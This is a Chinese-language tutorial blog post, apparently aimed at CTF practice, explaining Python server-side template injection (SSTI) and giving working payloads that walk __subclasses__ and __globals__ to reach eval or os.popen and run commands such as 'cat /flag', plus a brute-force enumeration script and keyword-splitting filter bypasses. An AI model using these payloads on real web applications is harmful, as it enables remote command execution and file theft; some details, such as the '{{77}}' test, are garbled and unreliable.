当前位置: 首页 > article >正文

web ssti注入

文章目录

  • SSTI注入是什么
  • SSTI注入怎么执行

SSTI注入是什么

  • SSTI 注入(Server-Side Template Injection,服务器端模板注入是一种常见的 Web 应用程序漏洞,攻击者利用 Web 应用程序模板引擎的漏洞,在模板渲染过程中注入恶意代码,从而执行未授权的操作。
  • 一般ssti都是通过 类->基类->危险函数的使用来实现注入的
 [].__class__         获取[] 对应的类

 [].__class__.__base__           获取[]对应的类的基类

 [].__class__.base__.__subclasses__()     获取[]对应的类的基类的所有子类

 [].__class__.base__.__subclasses__()[30]('flag').read()  (假设<type file> file方法是第30,使用read()方法来读取flag文件)

 [].__class__.base__.__subclasses__()[50].__init__.__globals__['os'].system('ls')  (假设os类是第50个,初始化它并使用system函数来执行ls命令)
 
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__  导入内置函数,例如eval()等

  • python3中没有file类了,可以使用以下类来读取文件
<class '_frozen_importlib_external.FileLoader'>
<class ‘click.utils.LazyFile’>
<class ‘codecs.IncrementalEncoder’>

举个例子,如果我要查询一个类的所有子类,可以这么写代码,为什么要查询类呢,因为有一些特殊的类和函数可以用来攻击,可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。

for i in range(500):
    url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  • 寻找含有eval()函数的类
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):
    url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
    res = requests.get(url=url, headers=headers)
    if 'eval' in res.text:
       print(i)
 
payload:{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
 
  • 寻找os模块执行命令
payload:{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
  • 寻找 importlib 类执行命令
payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
  • inecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
payload={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}

SSTI注入怎么执行

1.在输入框做测试{{77}},如果返回值是49而不是77,说明输入值会被执行,存在SSTI漏洞
2.输{{[]._class_}}等命令寻找信息,如果被过滤了则采用+号分隔," "分隔等策略绕过

{{()['__cl'+'ass__']['__base__']}}
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()}}

在这里插入图片描述
在这里插入图片描述
3. 找到含os模块的类,假设是第132个,执行eval函数

{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

http://www.kler.cn/a/525124.html

相关文章:

  • python:斐索实验(Fizeau experiment)
  • C++并发编程指南02
  • 在无sudo权限Linux上安装 Ollama 并使用 DeepSeek-R1 模型
  • Spring事务和事务传播机制
  • 使用Pytest Fixtures来提升TestCase的可读性、高效性
  • 目标跟踪之sort算法(3)
  • 《Operating System Concepts》阅读笔记:p1-p1
  • 基于Springboot的智能学习平台系统【附源码】
  • 让远程也能访问家里的电脑——frp反代
  • Elasticsearch 自定义分成器 拼音搜索 搜索自动补全 Java对接
  • 多线程执行大批量数据查询
  • 手写instanceof、手写new操作符
  • 多头潜在注意力(MLA):让大模型“轻装上阵”的技术革新——从DeepSeek看下一代语言模型的高效之路
  • python-leetcode-反转链表 II
  • vulfocus/thinkphp:6.0.12 命令执行
  • go-zero学习笔记(二)
  • Pyside的QWebEngineProfile类
  • OpenLayers知识总结1
  • 在Putty创建php文件
  • 安卓通过网络获取位置的方法
  • 透视B/S架构与C/S架构:构建未来网络应用的智慧选择
  • C27.【C++ Cont】时间、空间限制和STL库的简单了解
  • 跨境电商代购系统独立站深度分享
  • 【信息系统项目管理师-选择真题】2006下半年综合知识答案和详解
  • TVS选型设计
  • Android车机DIY开发之学习篇(六)编译讯为3568开发板安卓